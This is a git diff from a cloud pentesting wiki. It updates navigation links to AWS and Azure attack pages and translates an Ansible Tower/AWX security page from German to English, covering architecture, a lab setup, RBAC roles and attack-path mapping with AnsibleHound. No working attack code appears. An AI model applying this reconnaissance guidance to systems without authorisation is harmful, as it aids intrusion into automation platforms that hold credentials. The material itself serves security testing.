- [Cognito User Pools](pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md)
- [AWS - DataPipeline, CodePipeline & CodeCommit Enum](pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md)
- [AWS - Directory Services / WorkDocs Enum](pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md)
- [AWS - DocumentDB Enum](pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md)
- [AWS - DocumentDB Enum](pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md)
- [AWS - DynamoDB Enum](pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md)
- [AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum](pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md)
- [AWS - Nitro Enum](pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md)
@@ -409,7 +370,6 @@
- [AWS - Redshift Enum](pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md)
- [AWS - Relational Database (RDS) Enum](pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md)
- [AWS - Route53 Enum](pentesting-cloud/aws-security/aws-services/aws-route53-enum.md)
- [AWS - SageMaker Enum](pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md)
- [AWS - Secrets Manager Enum](pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md)
- [AWS - SES Enum](pentesting-cloud/aws-security/aws-services/aws-ses-enum.md)
- [AWS - SNS Enum](pentesting-cloud/aws-security/aws-services/aws-sns-enum.md)
@@ -419,32 +379,31 @@
- [AWS - STS Enum](pentesting-cloud/aws-security/aws-services/aws-sts-enum.md)
- [AWS - Other Services Enum](pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md)
- [AWS - Unauthenticated Enum & Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md)
- [AWS - Accounts Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md)
- [AWS - API Gateway Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md)
- [AWS - Cloudfront Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md)
- [AWS - Cognito Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md)
- [AWS - CodeBuild Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md)
- [AWS - DocumentDB Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md)
- [AWS - DynamoDB Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md)
- [AWS - EC2 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md)
- [AWS - ECR Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md)
- [AWS - ECS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md)
- [AWS - Elastic Beanstalk Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md)
- [AWS - Elasticsearch Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md)
- [AWS - IAM & STS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md)
- [AWS - Identity Center & SSO Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md)
- [AWS - IoT Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md)
- [AWS - Kinesis Video Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md)
- [AWS - Lambda Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md)
- [AWS - Media Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md)
- [AWS - MQ Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md)
- [AWS - MSK Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md)
- [AWS - RDS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md)
- [AWS - Redshift Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md)
- [AWS - SageMaker Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md)
- [AWS - SQS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md)
- [AWS - SNS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md)
- [AWS - S3 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md)
- [AWS - Accounts Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md)
- [AWS - API Gateway Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md)
- [AWS - Cloudfront Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md)
- [AWS - Cognito Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md)
- [AWS - CodeBuild Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md)
- [AWS - DocumentDB Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md)
- [AWS - DynamoDB Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md)
- [AWS - EC2 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md)
- [AWS - ECR Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md)
- [AWS - ECS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md)
- [AWS - Elastic Beanstalk Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md)
- [AWS - Elasticsearch Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md)
- [AWS - IAM & STS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md)
- [AWS - Identity Center & SSO Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md)
- [AWS - IoT Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md)
- [AWS - Kinesis Video Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md)
- [AWS - Lambda Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md)
- [AWS - Media Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md)
- [AWS - MQ Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md)
- [AWS - MSK Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md)
- [AWS - RDS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md)
- [AWS - Redshift Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md)
- [AWS - SQS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md)
- [AWS - SNS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md)
- [AWS - S3 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md)
- [Azure Pentesting](pentesting-cloud/azure-security/README.md)
- [Az - Basic Information](pentesting-cloud/azure-security/az-basic-information/README.md)
- [Az Federation Abuse](pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md)
@@ -464,7 +423,6 @@
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
- [Az - AI Foundry](pentesting-cloud/azure-security/az-services/az-ai-foundry.md)
- [Az - Cloud Shell](pentesting-cloud/azure-security/az-services/az-cloud-shell.md)
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md)
- [Az - Container Instances, Apps & Jobs](pentesting-cloud/azure-security/az-services/az-container-instances-apps-jobs.md)
@@ -524,7 +482,6 @@
- [Az - VMs & Network Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md)
- [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md)
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
- [Az - AI Foundry Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md)
- [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
- [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md)
- [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md)

View File

@@ -1,14 +1,18 @@
> [!TIP]
> Lernen & üben Sie AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Lernen & üben Sie GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Lernen & üben Sie Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Learn & practice AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Learn & practice GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Learn & practice Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Unterstützen Sie HackTricks</summary>
> <summary>Support HackTricks</summary>
>
> - Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
> - **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>

BIN
src/files/empty.zip Normal file

Binary file not shown.

BIN
src/pdfs/AWS_Services.pdf Normal file

Binary file not shown.

View File

@@ -1,62 +1,63 @@
# Ansible Tower / AWX / Automation Controller Sicherheit
# Ansible Tower / AWX / Automation controller Security
{{#include ../banners/hacktricks-training.md}}
## Grundinformationen
## Basic Information
**Ansible Tower** oder seine Open-Source-Version [**AWX**](https://github.com/ansible/awx) ist auch bekannt als **Ansible Benutzeroberfläche, Dashboard und REST API**. Mit **rollenbasiertem Zugriffskontrolle**, Jobplanung und grafischer Inventarverwaltung können Sie Ihre Ansible-Infrastruktur über eine moderne Benutzeroberfläche verwalten. Die REST API und die Befehlszeilenschnittstelle von Tower machen es einfach, sie in aktuelle Tools und Workflows zu integrieren.
**Ansible Tower** or it's opensource version [**AWX**](https://github.com/ansible/awx) is also known as **Ansibles user interface, dashboard, and REST API**. With **role-based access control**, job scheduling, and graphical inventory management, you can manage your Ansible infrastructure from a modern UI. Towers REST API and command-line interface make it simple to integrate it into current tools and workflows.
**Automation Controller ist eine neuere** Version von Ansible Tower mit mehr Funktionen.
**Automation Controller is a newer** version of Ansible Tower with more capabilities.
### Unterschiede
### Differences
Laut [**diesem**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00) sind die Hauptunterschiede zwischen Ansible Tower und AWX die erhaltene Unterstützung, und Ansible Tower hat zusätzliche Funktionen wie rollenbasierte Zugriffskontrolle, Unterstützung für benutzerdefinierte APIs und benutzerdefinierte Workflows.
According to [**this**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), the main differences between Ansible Tower and AWX is the received support and the Ansible Tower has additional features such as role-based access control, support for custom APIs, and user-defined workflows.
### Tech-Stack
### Tech Stack
- **Weboberfläche**: Dies ist die grafische Oberfläche, über die Benutzer Inventare, Anmeldeinformationen, Vorlagen und Jobs verwalten können. Sie ist so gestaltet, dass sie intuitiv ist und Visualisierungen bietet, um den Zustand und die Ergebnisse Ihrer Automatisierungsjobs zu verstehen.
- **REST API**: Alles, was Sie in der Weboberfläche tun können, können Sie auch über die REST API tun. Das bedeutet, dass Sie AWX/Tower mit anderen Systemen integrieren oder Aktionen skripten können, die Sie normalerweise in der Benutzeroberfläche durchführen würden.
- **Datenbank**: AWX/Tower verwendet eine Datenbank (typischerweise PostgreSQL), um seine Konfiguration, Jobresultate und andere notwendige Betriebsdaten zu speichern.
- **RabbitMQ**: Dies ist das Messaging-System, das von AWX/Tower verwendet wird, um zwischen den verschiedenen Komponenten zu kommunizieren, insbesondere zwischen dem Webdienst und den Aufgabenläufern.
- **Redis**: Redis dient als Cache und Backend für die Aufgabenwarteschlange.
- **Web Interface**: This is the graphical interface where users can manage inventories, credentials, templates, and jobs. It's designed to be intuitive and provides visualizations to help with understanding the state and results of your automation jobs.
- **REST API**: Everything you can do in the web interface, you can also do via the REST API. This means you can integrate AWX/Tower with other systems or script actions that you'd typically perform in the interface.
- **Database**: AWX/Tower uses a database (typically PostgreSQL) to store its configuration, job results, and other necessary operational data.
- **RabbitMQ**: This is the messaging system used by AWX/Tower to communicate between the different components, especially between the web service and the task runners.
- **Redis**: Redis serves as a cache and a backend for the task queue.
### Logische Komponenten
### Logical Components
- **Inventare**: Ein Inventar ist eine **Sammlung von Hosts (oder Knoten)**, gegen die **Jobs** (Ansible-Playbooks) **ausgeführt** werden können. AWX/Tower ermöglicht es Ihnen, Ihre Inventare zu definieren und zu gruppieren und unterstützt auch dynamische Inventare, die **Hostlisten aus anderen Systemen** wie AWS, Azure usw. abrufen können.
- **Projekte**: Ein Projekt ist im Wesentlichen eine **Sammlung von Ansible-Playbooks**, die aus einem **Versionskontrollsystem** (wie Git) stammen, um die neuesten Playbooks bei Bedarf abzurufen.
- **Vorlagen**: Jobvorlagen definieren, **wie ein bestimmtes Playbook ausgeführt wird**, und geben das **Inventar**, **Anmeldeinformationen** und andere **Parameter** für den Job an.
- **Anmeldeinformationen**: AWX/Tower bietet eine sichere Möglichkeit, **Geheimnisse wie SSH-Schlüssel, Passwörter und API-Tokens zu verwalten und zu speichern**. Diese Anmeldeinformationen können mit Jobvorlagen verknüpft werden, sodass Playbooks beim Ausführen den notwendigen Zugriff haben.
- **Aufgaben-Engine**: Hier geschieht die Magie. Die Aufgaben-Engine basiert auf Ansible und ist verantwortlich für das **Ausführen der Playbooks**. Jobs werden an die Aufgaben-Engine übergeben, die dann die Ansible-Playbooks gegen das festgelegte Inventar mit den angegebenen Anmeldeinformationen ausführt.
- **Planer und Rückrufe**: Dies sind erweiterte Funktionen in AWX/Tower, die es ermöglichen, **Jobs zu planen**, die zu bestimmten Zeiten oder durch externe Ereignisse ausgelöst werden.
- **Benachrichtigungen**: AWX/Tower kann Benachrichtigungen basierend auf dem Erfolg oder Misserfolg von Jobs senden. Es unterstützt verschiedene Arten von Benachrichtigungen wie E-Mails, Slack-Nachrichten, Webhooks usw.
- **Ansible-Playbooks**: Ansible-Playbooks sind Konfigurations-, Bereitstellungs- und Orchestrierungstools. Sie beschreiben den gewünschten Zustand von Systemen auf automatisierte, wiederholbare Weise. In YAML geschrieben, verwenden Playbooks Ansible's deklarative Automatisierungssprache, um Konfigurationen, Aufgaben und Schritte zu beschreiben, die ausgeführt werden müssen.
- **Inventories**: An inventory is a **collection of hosts (or nodes)** against which **jobs** (Ansible playbooks) can be **run**. AWX/Tower allows you to define and group your inventories and also supports dynamic inventories which can **fetch host lists from other systems** like AWS, Azure, etc.
- **Projects**: A project is essentially a **collection of Ansible playbooks** sourced from a **version control system** (like Git) to pull the latest playbooks when needed..
- **Templates**: Job templates define **how a particular playbook will be run**, specifying the **inventory**, **credentials**, and other **parameters** for the job.
- **Credentials**: AWX/Tower provides a secure way to **manage and store secrets, such as SSH keys, passwords, and API tokens**. These credentials can be associated with job templates so that playbooks have the necessary access when they run.
- **Task Engine**: This is where the magic happens. The task engine is built on Ansible and is responsible for **running the playbooks**. Jobs are dispatched to the task engine, which then runs the Ansible playbooks against the designated inventory using the specified credentials.
- **Schedulers and Callbacks**: These are advanced features in AWX/Tower that allow **jobs to be scheduled** to run at specific times or triggered by external events.
- **Notifications**: AWX/Tower can send notifications based on the success or failure of jobs. It supports various means of notifications such as emails, Slack messages, webhooks, etc.
- **Ansible Playbooks**: Ansible playbooks are configuration, deployment, and orchestration tools. They describe the desired state of systems in an automated, repeatable way. Written in YAML, playbooks use Ansible's declarative automation language to describe configurations, tasks, and steps that need to be executed.
### Jobausführungsfluss
### Job Execution Flow
1. **Benutzerinteraktion**: Ein Benutzer kann mit AWX/Tower entweder über die **Weboberfläche** oder die **REST API** interagieren. Diese bieten Front-End-Zugriff auf alle von AWX/Tower angebotenen Funktionen.
2. **Jobinitiierung**:
- Der Benutzer initiiert über die Weboberfläche oder API einen Job basierend auf einer **Jobvorlage**.
- Die Jobvorlage enthält Verweise auf das **Inventar**, **Projekt** (das das Playbook enthält) und **Anmeldeinformationen**.
- Bei der Jobinitiierung wird eine Anfrage an das AWX/Tower-Backend gesendet, um den Job zur Ausführung in die Warteschlange zu stellen.
3. **Jobwarteschlange**:
- **RabbitMQ** verwaltet die Nachrichten zwischen der Webkomponente und den Aufgabenläufern. Sobald ein Job initiiert wird, wird eine Nachricht an die Aufgaben-Engine über RabbitMQ gesendet.
- **Redis** fungiert als Backend für die Aufgabenwarteschlange und verwaltet die in der Warteschlange stehenden Jobs, die auf die Ausführung warten.
4. **Jobausführung**:
- Die **Aufgaben-Engine** nimmt den in der Warteschlange stehenden Job auf. Sie ruft die notwendigen Informationen aus der **Datenbank** über das mit dem Job verbundene Playbook, Inventar und die Anmeldeinformationen ab.
- Mit dem abgerufenen Ansible-Playbook aus dem zugehörigen **Projekt** führt die Aufgaben-Engine das Playbook gegen die angegebenen **Inventar**-Knoten mit den bereitgestellten **Anmeldeinformationen** aus.
- Während das Playbook ausgeführt wird, werden die Ausführungsprotokolle (Logs, Fakten usw.) erfasst und in der **Datenbank** gespeichert.
5. **Jobergebnisse**:
- Sobald das Playbook die Ausführung abgeschlossen hat, werden die Ergebnisse (Erfolg, Misserfolg, Protokolle) in der **Datenbank** gespeichert.
- Benutzer können die Ergebnisse dann über die Weboberfläche einsehen oder sie über die REST API abfragen.
- Basierend auf den Ergebnissen der Jobs können **Benachrichtigungen** versendet werden, um Benutzer oder externe Systeme über den Status des Jobs zu informieren. Benachrichtigungen können E-Mails, Slack-Nachrichten, Webhooks usw. sein.
6. **Integration mit externen Systemen**:
- **Inventare** können dynamisch aus externen Systemen bezogen werden, sodass AWX/Tower Hosts aus Quellen wie AWS, Azure, VMware und mehr abrufen kann.
- **Projekte** (Playbooks) können aus Versionskontrollsystemen abgerufen werden, um sicherzustellen, dass während der Jobausführung aktuelle Playbooks verwendet werden.
- **Planer und Rückrufe** können verwendet werden, um mit anderen Systemen oder Tools zu integrieren, sodass AWX/Tower auf externe Auslöser reagiert oder Jobs zu festgelegten Zeiten ausführt.
1. **User Interaction**: A user can interact with AWX/Tower either through the **Web Interface** or the **REST API**. These provide front-end access to all the functionalities offered by AWX/Tower.
2. **Job Initiation**:
- The user, via the Web Interface or API, initiates a job based on a **Job Template**.
- The Job Template includes references to the **Inventory**, **Project** (containing the playbook), and **Credentials**.
- Upon job initiation, a request is sent to the AWX/Tower backend to queue the job for execution.
3. **Job Queuing**:
- **RabbitMQ** handles the messaging between the web component and the task runners. Once a job is initiated, a message is dispatched to the task engine using RabbitMQ.
- **Redis** acts as the backend for the task queue, managing queued jobs awaiting execution.
4. **Job Execution**:
- The **Task Engine** picks up the queued job. It retrieves the necessary information from the **Database** about the job's associated playbook, inventory, and credentials.
- Using the retrieved Ansible playbook from the associated **Project**, the Task Engine runs the playbook against the specified **Inventory** nodes using the provided **Credentials**.
- As the playbook runs, its execution output (logs, facts, etc.) gets captured and stored in the **Database**.
5. **Job Results**:
- Once the playbook finishes running, the results (success, failure, logs) are saved to the **Database**.
- Users can then view the results through the Web Interface or query them via the REST API.
- Based on job outcomes, **Notifications** can be dispatched to inform users or external systems about the job's status. Notifications could be emails, Slack messages, webhooks, etc.
6. **External Systems Integration**:
- **Inventories** can be dynamically sourced from external systems, allowing AWX/Tower to pull in hosts from sources like AWS, Azure, VMware, and more.
- **Projects** (playbooks) can be fetched from version control systems, ensuring the use of up-to-date playbooks during job execution.
- **Schedulers and Callbacks** can be used to integrate with other systems or tools, making AWX/Tower react to external triggers or run jobs at predetermined times.
### AWX-Laborerstellung für Tests
### AWX lab creation for testing
[**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) it's possible to use docker-compose to run AWX:
[**Den Dokumenten folgend**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) ist es möglich, docker-compose zu verwenden, um AWX auszuführen:
```bash
git clone -b x.y.z https://github.com/ansible/awx.git # Get in x.y.z the latest release version
@@ -82,78 +83,79 @@ docker exec -ti tools_awx_1 awx-manage createsuperuser
# Load demo data
docker exec tools_awx_1 awx-manage create_preload_data
```
## RBAC
### Unterstützte Rollen
### Supported roles
Die privilegierteste Rolle wird als **Systemadministrator** bezeichnet. Jeder mit dieser Rolle kann **alles ändern**.
The most privileged role is called **System Administrator**. Anyone with this role can **modify anything**.
Für eine **White-Box-Sicherheits**-Überprüfung benötigen Sie die **Systemauditorrolle**, die es ermöglicht, **alle Systemdaten anzuzeigen**, aber keine Änderungen vorzunehmen. Eine andere Option wäre, die **Organisationsauditorrolle** zu erhalten, aber es wäre besser, die andere zu bekommen.
From a **white box security** review, you would need the **System Auditor role**, which allow to **view all system data** but cannot make any changes. Another option would be to get the **Organization Auditor role**, but it would be better to get the other one.
<details>
<summary>Erweitern Sie dies, um eine detaillierte Beschreibung der verfügbaren Rollen zu erhalten</summary>
<summary>Expand this to get detailed description of available roles</summary>
1. **Systemadministrator**:
- Dies ist die Superuser-Rolle mit Berechtigungen zum Zugriff auf und zur Änderung aller Ressourcen im System.
- Sie können alle Organisationen, Teams, Projekte, Inventare, Jobvorlagen usw. verwalten.
2. **Systemauditor**:
- Benutzer mit dieser Rolle können alle Systemdaten anzeigen, aber keine Änderungen vornehmen.
- Diese Rolle ist für Compliance und Aufsicht konzipiert.
3. **Organisationsrollen**:
- **Admin**: Vollständige Kontrolle über die Ressourcen der Organisation.
- **Auditor**: Nur-Lese-Zugriff auf die Ressourcen der Organisation.
- **Mitglied**: Grundlegende Mitgliedschaft in einer Organisation ohne spezifische Berechtigungen.
- **Ausführen**: Kann Jobvorlagen innerhalb der Organisation ausführen.
- **Lesen**: Kann die Ressourcen der Organisation anzeigen.
4. **Projektrollen**:
- **Admin**: Kann das Projekt verwalten und ändern.
- **Verwenden**: Kann das Projekt in einer Jobvorlage verwenden.
- **Aktualisieren**: Kann das Projekt mit SCM (Source Control) aktualisieren.
5. **Inventarrollen**:
- **Admin**: Kann das Inventar verwalten und ändern.
- **Ad Hoc**: Kann Ad-hoc-Befehle im Inventar ausführen.
- **Aktualisieren**: Kann die Inventarquelle aktualisieren.
- **Verwenden**: Kann das Inventar in einer Jobvorlage verwenden.
- **Lesen**: Nur-Lese-Zugriff.
6. **Jobvorlagenrollen**:
- **Admin**: Kann die Jobvorlage verwalten und ändern.
- **Ausführen**: Kann den Job ausführen.
- **Lesen**: Nur-Lese-Zugriff.
7. **Berechtigungsrollen**:
- **Admin**: Kann die Berechtigungen verwalten und ändern.
- **Verwenden**: Kann die Berechtigungen in Jobvorlagen oder anderen relevanten Ressourcen verwenden.
- **Lesen**: Nur-Lese-Zugriff.
8. **Teamrollen**:
- **Mitglied**: Teil des Teams, aber ohne spezifische Berechtigungen.
- **Admin**: Kann die Mitglieder des Teams und die zugehörigen Ressourcen verwalten.
9. **Workflow-Rollen**:
- **Admin**: Kann den Workflow verwalten und ändern.
- **Ausführen**: Kann den Workflow ausführen.
- **Lesen**: Nur-Lese-Zugriff.
1. **System Administrator**:
- This is the superuser role with permissions to access and modify any resource in the system.
- They can manage all organizations, teams, projects, inventories, job templates, etc.
2. **System Auditor**:
- Users with this role can view all system data but cannot make any changes.
- This role is designed for compliance and oversight.
3. **Organization Roles**:
- **Admin**: Full control over the organization's resources.
- **Auditor**: View-only access to the organization's resources.
- **Member**: Basic membership in an organization without any specific permissions.
- **Execute**: Can run job templates within the organization.
- **Read**: Can view the organizations resources.
4. **Project Roles**:
- **Admin**: Can manage and modify the project.
- **Use**: Can use the project in a job template.
- **Update**: Can update project using SCM (source control).
5. **Inventory Roles**:
- **Admin**: Can manage and modify the inventory.
- **Ad Hoc**: Can run ad hoc commands on the inventory.
- **Update**: Can update the inventory source.
- **Use**: Can use the inventory in a job template.
- **Read**: View-only access.
6. **Job Template Roles**:
- **Admin**: Can manage and modify the job template.
- **Execute**: Can run the job.
- **Read**: View-only access.
7. **Credential Roles**:
- **Admin**: Can manage and modify the credentials.
- **Use**: Can use the credentials in job templates or other relevant resources.
- **Read**: View-only access.
8. **Team Roles**:
- **Member**: Part of the team but without any specific permissions.
- **Admin**: Can manage the team's members and associated resources.
9. **Workflow Roles**:
- **Admin**: Can manage and modify the workflow.
- **Execute**: Can run the workflow.
- **Read**: View-only access.
</details>
## Enumeration & Attack-Path Mapping mit AnsibleHound
## Enumeration & Attack-Path Mapping with AnsibleHound
`AnsibleHound` ist ein Open-Source BloodHound *OpenGraph* Sammler, der in Go geschrieben ist und ein **read-only** Ansible Tower/AWX/Automation Controller API-Token in ein vollständiges Berechtigungsdiagramm umwandelt, das bereit ist, innerhalb von BloodHound (oder BloodHound Enterprise) analysiert zu werden.
`AnsibleHound` is an open-source BloodHound *OpenGraph* collector written in Go that turns a **read-only** Ansible Tower/AWX/Automation Controller API token into a complete permission graph ready to be analysed inside BloodHound (or BloodHound Enterprise).
### Warum ist das nützlich?
